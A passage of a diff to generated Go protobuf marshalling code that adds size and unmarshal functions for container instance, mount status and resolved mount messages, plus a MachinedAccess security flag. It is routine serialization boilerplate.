protohelpers.SizeOfVarint(uint64(m.Phase)) + } + if m.Pid != 0 { + n += 1 + protohelpers.SizeOfVarint(uint64(m.Pid)) + } + if m.ExitCode != 0 { + n += 1 + protohelpers.SizeOfVarint(uint64(m.ExitCode)) + } + l = len(m.Error) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if m.StartedAt != nil { + l = (*timestamppb.Timestamp)(m.StartedAt).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if m.FinishedAt != nil { + l = (*timestamppb.Timestamp)(m.FinishedAt).SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + func (m *ContainerMountSpec) SizeVT() (n int) { if m == nil { return 0 @@ -699,6 +1176,29 @@ func (m *ContainerMountSpec) SizeVT() (n int) { return n } +func (m *ContainerMountStatusSpec) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + if m.Ready { + n += 2 + } + if len(m.Mounts) > 0 { + for _, e := range m.Mounts { + l = e.SizeVT() + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + } + l = len(m.Error) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + func (m *ContainerNetworkSpec) SizeVT() (n int) { if m == nil { return 0 @@ -765,6 +1265,9 @@ func (m *ContainerSecuritySpec) SizeVT() (n int) { n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } } + if m.MachinedAccess { + n += 2 + } n += len(m.unknownFields) return n } @@ -831,6 +1334,41 @@ func (m *ContainerSpecSpec) SizeVT() (n int) { return n } +func (m *ResolvedMountSpec) SizeVT() (n int) { + if m == nil { + return 0 + } + var l int + _ = l + l = len(m.Kind) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + l = len(m.Source) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + l = len(m.Destination) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + if m.Size != 0 { + n += 1 + protohelpers.SizeOfVarint(uint64(m.Size)) + } + if len(m.Options) > 0 { + for _, s := range m.Options { + l = len(s) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + } + l = len(m.VolumeId) + if l > 0 { + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) + } + n += len(m.unknownFields) + return n +} + func (m *ContainerDependsOnSpec) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 @@ -1247,7 +1785,7 @@ func (m *ContainerImageStatusSpec) UnmarshalVT(dAtA []byte) error { } return nil } -func (m *ContainerMountSpec) UnmarshalVT(dAtA []byte) error { +func (m *ContainerInstanceSpecSpec) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 for iNdEx < l { @@ -1270,15 +1808,15 @@ func (m *ContainerMountSpec) UnmarshalVT(dAtA []byte) error { fieldNum := int32(wire >> 3) wireType := int(wire & 0x7) if wireType == 4 { - return fmt.Errorf("proto: ContainerMountSpec: wiretype end group for non-group") + return fmt.Errorf("proto: ContainerInstanceSpecSpec: wiretype end group for non-group") } if fieldNum <= 0 { - return fmt.Errorf("proto: ContainerMountSpec: illegal tag %d (wire type %d)", fieldNum, wire) + return fmt.Errorf("proto: ContainerInstanceSpecSpec: illegal tag %d (wire type %d)", fieldNum, wire) } switch fieldNum { case 1: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Kind", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field ContainerId", wireType) } var stringLen uint64 for shift := uint(0); ; shift += 7 { @@ -1306,13 +1844,13 @@ func (m *ContainerMountSpec) UnmarshalVT(dAtA []byte) error { if postIndex > l { return io.ErrUnexpectedEOF } - m.Kind = string(dAtA[iNdEx:postIndex]) + m.ContainerId = string(dAtA[iNdEx:postIndex]) iNdEx = postIndex case 2: - if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field VolumeId", wireType) + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Generation", wireType) } - var stringLen uint64 + m.Generation = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { return protohelpers.ErrIntOverflow @@ -1322,27 +1860,14 @@ func (m *ContainerMountSpec) UnmarshalVT(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - stringLen |= uint64(b&0x7F) << shift + m.Generation |= uint64(b&0x7F) << shift if b < 0x80 { break } } - intStringLen := int(stringLen) - if intStringLen < 0 { - return protohelpers.ErrInvalidLength - } - postIndex := iNdEx + intStringLen - if postIndex < 0 { - return protohelpers.ErrInvalidLength - } - if postIndex > l { - return io.ErrUnexpectedEOF - } - m.VolumeId = string(dAtA[iNdEx:postIndex]) - iNdEx = postIndex case 3: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Source", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Image", wireType) } var stringLen uint64 for shift := uint(0); ; shift += 7 { @@ -1370,11 +1895,11 @@ func (m *ContainerMountSpec) UnmarshalVT(dAtA []byte) error { if postIndex > l { return io.ErrUnexpectedEOF } - m.Source = string(dAtA[iNdEx:postIndex]) + m.Image = string(dAtA[iNdEx:postIndex]) iNdEx = postIndex case 4: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Destination", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Entrypoint", wireType) } var stringLen uint64 for shift := uint(0); ; shift += 7 { @@ -1402,13 +1927,13 @@ func (m *ContainerMountSpec) UnmarshalVT(dAtA []byte) error { if postIndex > l { return io.ErrUnexpectedEOF } - m.Destination = string(dAtA[iNdEx:postIndex]) + m.Entrypoint = append(m.Entrypoint, string(dAtA[iNdEx:postIndex])) iNdEx = postIndex case 5: - if wireType != 0 { - return fmt.Errorf("proto: wrong wireType = %d for field Size", wireType) + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Args", wireType) } - m.Size = 0 + var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { return protohelpers.ErrIntOverflow @@ -1418,14 +1943,867 @@ func (m *ContainerMountSpec) UnmarshalVT(dAtA []byte) error { } b := dAtA[iNdEx] iNdEx++ - m.Size |= uint64(b&0x7F) << shift + stringLen |= uint64(b&0x7F) << shift if b < 0x80 { break } } - case 6: + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Args = append(m.Args, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field WorkingDir", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.WorkingDir = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 7: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field RunAs", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.RunAs == nil { + m.RunAs = &ContainerRunAsSpec{} + } + if err := m.RunAs.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Environment", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Environment = append(m.Environment, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + case 9: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Mounts", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Mounts = append(m.Mounts, &ResolvedMountSpec{}) + if err := m.Mounts[len(m.Mounts)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 10: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Security", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Security == nil { + m.Security = &ContainerSecuritySpec{} + } + if err := m.Security.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 11: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Network", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Network == nil { + m.Network = &ContainerNetworkSpec{} + } + if err := m.Network.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 12: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Resources", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Resources == nil { + m.Resources = &ContainerResourcesSpec{} + } + if err := m.Resources.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ContainerInstanceStatusSpec) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ContainerInstanceStatusSpec: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ContainerInstanceStatusSpec: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field ContainerId", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.ContainerId = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Generation", wireType) + } + m.Generation = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.Generation |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Phase", wireType) + } + m.Phase = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.Phase |= enums.ContainersContainerInstancePhase(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) + } + m.Pid = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.Pid |= uint32(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field ExitCode", wireType) + } + m.ExitCode = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.ExitCode |= int32(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Error", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Error = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 7: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field StartedAt", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.StartedAt == nil { + m.StartedAt = ×tamppb1.Timestamp{} + } + if err := (*timestamppb.Timestamp)(m.StartedAt).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 8: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field FinishedAt", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.FinishedAt == nil { + m.FinishedAt = ×tamppb1.Timestamp{} + } + if err := (*timestamppb.Timestamp)(m.FinishedAt).UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ContainerMountSpec) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ContainerMountSpec: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ContainerMountSpec: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Kind", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Kind = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field VolumeId", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.VolumeId = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Source", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Source = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Destination", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Destination = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 5: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Size", wireType) + } + m.Size = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.Size |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Options", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Options = append(m.Options, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *ContainerMountStatusSpec) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ContainerMountStatusSpec: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ContainerMountStatusSpec: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Ready", wireType) + } + var v int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + v |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + m.Ready = bool(v != 0) + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Mounts", wireType) + } + var msglen int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + msglen |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + if msglen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Mounts = append(m.Mounts, &ResolvedMountSpec{}) + if err := m.Mounts[len(m.Mounts)-1].UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 3: if wireType != 2 { - return fmt.Errorf("proto: wrong wireType = %d for field Options", wireType) + return fmt.Errorf("proto: wrong wireType = %d for field Error", wireType) } var stringLen uint64 for shift := uint(0); ; shift += 7 { @@ -1453,7 +2831,7 @@ func (m *ContainerMountSpec) UnmarshalVT(dAtA []byte) error { if postIndex > l { return io.ErrUnexpectedEOF } - m.Options = append(m.Options, string(dAtA[iNdEx:postIndex])) + m.Error = string(dAtA[iNdEx:postIndex]) iNdEx = postIndex default: iNdEx = preIndex @@ -1839,6 +3217,26 @@ func (m *ContainerSecuritySpec) UnmarshalVT(dAtA []byte) error { } m.CapabilitiesDrop = append(m.CapabilitiesDrop, string(dAtA[iNdEx:postIndex])) iNdEx = postIndex + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field MachinedAccess", wireType) + } + var v int + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + v |= int(b&0x7F) << shift + if b < 0x80 { + break + } + } + m.MachinedAccess = bool(v != 0) default: iNdEx = preIndex skippy, err := protohelpers.Skip(dAtA[iNdEx:]) @@ -2290,3 +3688,233 @@ func (m *ContainerSpecSpec) UnmarshalVT(dAtA []byte) error { } return nil } +func (m *ResolvedMountSpec) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + wire |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: ResolvedMountSpec: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: ResolvedMountSpec: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Kind", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Kind = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Source", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Source = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Destination", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Destination = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Size", wireType) + } + m.Size = 0 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + m.Size |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + case 5: + if wireType != 2 { + return 